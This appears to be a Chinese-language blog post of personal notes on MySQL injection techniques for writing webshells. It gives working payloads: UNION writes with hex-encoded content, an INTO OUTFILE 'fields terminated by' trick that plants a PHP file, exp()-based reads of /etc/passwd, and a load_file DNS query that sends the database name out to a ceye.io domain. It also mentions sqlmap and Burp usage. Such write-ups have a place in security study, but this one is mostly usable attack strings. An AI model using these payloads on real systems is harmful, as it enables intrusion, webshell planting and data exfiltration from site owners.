標籤:php mysql資料庫 sts val href add images 解析 eth
今天終於在表哥的協助下解決了檔案匯入/出這個問題了。(很菜逼的一個問題),然後將最近看到的文章都自己測試了下,順便奉上記錄。 1.Mysql資料庫支援union的時候寫檔案小技巧: 採用常規的union寫入,可以看到前面的欄位佔位數肯定也會被寫入,替換成null也是一樣的結果,這個對於寫shell沒啥大礙, 但是如果用來寫bat,mof,vbs等檔案就會出問題了,那麼怎麼去掉這個唯寫入我們需要的內容呢?採用hex編碼就好了。 將我們要寫入的內容使用hex編碼在分段寫在每個欄位位上,這樣就可以唯寫入我們需要的內容了。
2.不支援union的時候寫入,很多人都不知道這個辦法,以為要寫入內容必須要支援union,看到一篇文章,可以不需要支援這個辦法。 文法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23 可以看到成功寫入,但是這個方法有一個弊病就是查詢出來的資料必須大於或等於2以上才可以寫入內容,寫入的內容數=查詢出來的資料-1 可以看到,當我們使前面的資料出錯查不到資料的時候,寫入是失敗的。 看看sqlmap中的情況: 可以很明顯的看到sqlmap中也有這種辦法寫入。(burp抓取sqlmap資料包:加上 --proxy "http://127.0.0.1:8080/" 在burp裡可以看到請求) 當然可以看到也通過了常規的union寫入檔案。 同時附上一個函數exp()。通過這個函數也可以讀取檔案,但是寫檔案只能寫入一個內容為0的檔案,這裡就必須結合其他的漏洞利用了,如:檔案覆蓋之類的。 讀檔案: select exp(~(select*from(select load_file(‘/etc/passwd‘))a)); 寫檔案: select exp(~(select*from(select ‘hello‘)a)) into outfile ‘C:/out.txt‘; //但是只能寫一個0進去。
3.關於使用dns解析來讓盲注更加簡單。 首先看下load_file()這個函數,這個函數可以用來發送dns解析請求。 然後使用類似的語句:select id from admin where id=1 and if((select load_file(concat(‘\\\\‘,(select database()),‘.ceye.io\\abc‘))),1,1); 即可成功將database()解析到網域名稱的dns前面。前提是支援讀檔案許可權,這個在實戰中占的比列大概只有%30左右吧。 還有就是命令執行同時也支援的,如:
實戰中也類似這個道理。在可能存在命令執行的地方,ping+網域名稱,或許就能查看到是否執行了。 本來是自己寫的word作為記錄儲存的,順便和大家分享下。 相關資料: https://ricterz.me/posts/%E7%AC% ... Injection%20Attacks https://bbs.ichunqiu.com/thread-22002-1-1.html http://lu4n.com/mysql-sqli-write-webshell-two-methods/ |
---恢複內容結束---
mysql寫Shell小技巧